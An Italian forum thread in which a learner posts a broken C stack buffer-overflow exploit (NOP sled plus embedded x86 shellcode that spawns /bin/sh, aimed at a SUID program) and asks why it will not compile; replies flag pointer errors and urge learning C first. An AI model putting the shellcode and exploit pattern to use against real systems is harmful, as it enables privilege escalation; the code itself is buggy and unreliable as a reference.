Codice di buffer overflow non compilabile

di il
7 risposte

Codice di buffer overflow non compilabile

Scusate probabilmente sarà una questione stupida ma è da un po' che mi ci scervello su e non riesco a venirne a capo.
Praticamente è da un po' che mi sto interessando ad alcune tecniche di exploiting ed in particolar modo in questi giorni ho deciso di scrivere un semplice programma in C abbastanza rudimentale e semplice (ma da qualche parte dovrò pur cominciare): il programma, come anticipato nel titolo è un semplice exploit basato su buffer overflow nello stack che utilizza una slitta NOP per iniettare nella macchina vittima uno shellcode (che per altro non ho neanche scritto io) al fine di aprire un altra shell (magari sfruttando i permessi SUID del programma);
il problema è che nella compilazione il compilatore l'errore mi da un errore che non capisco a cosa possa riferirsi;
Vi allego il codice in questione:

/*
	Buffer overflow con slitta NOP
	hp:
	File=esempio.exe
	distanza cima stack-return address=200
	grandezza frame calcolabile da riga di comando
*/

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

char SHELLCODE[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

void usage(char prog_name){
	printf("Usage: %s: <offset>\n", prog_name);
	exit(0);
}

int main(int argc, char *argv[]){
	int i, offset=270, *ret;		// valore offset inizializzato per debugging
	char *command, *pointer;
	
	command=(char *)malloc(200);
	memset(command, 0, 200);
	strcpy("./esempio.exe ", command);
	if(argc==1)
		offset=atoi(argv[1]);
	/*
	else
		usage(argv[0]);
	*/
	ret=&i-offset;
	pointer=command+strlen(command);
	for(i=0;i<80;i+=4)
		((int *)pointer+i)=ret;
	memset(pointer, 0x90, 50);
	memcpy(pointer+60,SHELLCODE, strlen(SHELLCODE));
	printf("[DEBUG]  Command: %s", command);
	
	/*
	system(command);
	free(command);
	*/
}
Come avete notato il codice è scritto in modo tale da permettere un debug più semplice, infatti alcune istruzioni, come l'esecuzione del comando, sono commentate, esattamente come la gestione degli argomenti da riga di comando).

l'errore invece risulta essere questo:
39 21 [Error] lvalue required as left operand of assignment

In conclusione vi chiedo di essere clementi, in quanto non sono avvezzo ai forum e alle loro consuetudini ma anche perchè so perfettamente che un programma come questo è inefficiente e probabilmente inutile in molti casi ma come detto prima tutto ciò è scritto solo per curiosità personale.

Grazie mille in anticipo per gli eventuali consigli e suggerimenti.

7 Risposte

  • Re: Codice di buffer overflow non compilabile

    Che intendi fare con
    ((int *)pointer+i)=ret;
    ?
  • Re: Codice di buffer overflow non compilabile

    oregon ha scritto:


    Che intendi fare con
    ((int *)pointer+i)=ret;
    ?
    in poche parole vorrei riempire la parte finale del buffer con l'indirizzo di ritorno, però essendo lo stack abbastanza dinamico preferisco scriverlo più volte così da essere sicuro di sovrascrivere l'indirizzo di ritorno del frame, il problema è che 'pointer' è un puntatore a char e di conseguenza prima lo devo typecastare (se si dice così)...
  • Re: Codice di buffer overflow non compilabile

    Ma sempre un puntatore rimane non una posizione di memoria ...
  • Re: Codice di buffer overflow non compilabile

    oregon ha scritto:


    Ma sempre un puntatore rimane non una posizione di memoria ...
    Ora probabilmente dirò una cavolata ma io ho capito così,i puntatori mica hanno come valore l'indirizzo di memoria a cui sono stati assegnati, che nel momento che stiamo osservando risulta puntare esattamente dopo la stringa "./esempio.exe "

    Per altro mi sono accorto di un altro errore, questa volta logico, probabilmente a causa di distrazione mia, ovvero il ciclo for non è abbastanza lungo e in questo modo l'indirizzo di ritorno finirebbe sovrascritto dallo shell code e dalle istruzioni NOP.
  • Re: Codice di buffer overflow non compilabile

    Non è mica l'unico errore. Perché non studiarsi bene il C, puntatori compresi? Male che vada almeno perdi tempo ad imparare uno strumento che ti rimarrà per tutta la vita, magari da utilizzare per cose più interessanti
  • Re: Codice di buffer overflow non compilabile

    Weierstrass ha scritto:


    Non è mica l'unico errore. Perché non studiarsi bene il C, puntatori compresi? Male che vada almeno perdi tempo ad imparare uno strumento che ti rimarrà per tutta la vita, magari da utilizzare per cose più interessanti
    Appunto per questo sto scrivendo questi programmi, sia per comprendere meglio il linguaggio ma anche per capire come funzioni lo sviluppo di esso da parte del computer (infatti mi diletto a dare un occhiata anche all'assembly dei programmi).
    Sono perfettamente consapevole che non abbia senso partire dall'exploiting per capire un linguaggio, ma infatti questo codice è semplicemente un esercizio che mi sono dato, dopo averne fatti altri più generici e totalmente sconnessi dall'exploiting o simili, ma legati alla conoscenza del c.

    Comunque non è che riusciresti a dirmi alcuni di questi errori? grazie mille
  • Re: Codice di buffer overflow non compilabile

    Se non hai le basi del linguaggio, devi *prima* impararle e *dopo* passare a questo tipo di programmi.

    Soprattutto per quanto riguarda i puntatori.
Devi accedere o registrarti per scrivere nel forum
7 risposte